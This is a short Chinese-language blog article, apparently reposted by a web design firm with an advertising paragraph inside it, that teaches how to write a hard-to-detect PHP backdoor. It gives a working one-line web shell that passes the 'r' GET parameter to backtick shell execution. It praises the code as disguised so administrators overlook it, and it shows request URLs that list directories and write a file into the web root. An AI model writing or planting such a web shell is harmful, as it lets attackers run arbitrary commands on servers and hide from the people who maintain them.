本篇內容介紹了“如何編寫一個不易被發現的PHP后門代碼”的有關知識，在實際案例的操作過程中，不少人都會遇到這樣的困境，接下來就讓小編帶領大家學習一下如何處理這些情況吧！希望大家仔細閱讀，能夠學有所成！

創新互聯是一家集網站建設,岳池企業網站建設,岳池品牌網站建設,網站定制,岳池網站建設報價,網絡營銷,網絡優化,岳池網站推廣為一體的創新建站企業，幫助傳統企業提升企業形象加強企業競爭力。可充分滿足這一群體相比中小企業更為豐富、高端、多元的互聯網需求。同時我們時刻保持專業、時尚、前沿，時刻以成就客戶成長自我，堅持不斷學習、思考、沉淀、凈化自己，讓我們為更多的企業打造出實用型網站。

這里用到了一個一般的PHPer都不怎么關注的反撇號 ` ，反撇號包含的字符串，等同于shell_exec函數。

偽裝性很好，很容易被管理員忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

剛看到這段代碼我想大家都會說沒有問題，但是細心的朋友也會發現下面的變量被一個符號包起來了，既然是變量為什么要這樣了，

而且又不是單引號，這個就是關鍵所在了，這個符號是 Esc 下面的一個鍵（位于感嘆號！旁邊的），

通過 echo `系統命令`; 可以達到 system(); 一樣的效果

如果不信的朋友可以測試

http://127.0.0.1/t.php?r=dir可以列出目錄

http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:\web\90sec.php

我用 appserv 和虛擬主機已經測試成功。

“如何編寫一個不易被發現的PHP后門代碼”的內容就介紹到這里了，感謝大家的閱讀。如果想了解更多行業相關的知識可以關注創新互聯網站，小編將為大家輸出更多高質量的實用文章！

新聞標題：如何編寫一個不易被發現的PHP后門代碼-創新互聯
文章網址：http://m.jcarcd.cn/article/dcgpce.html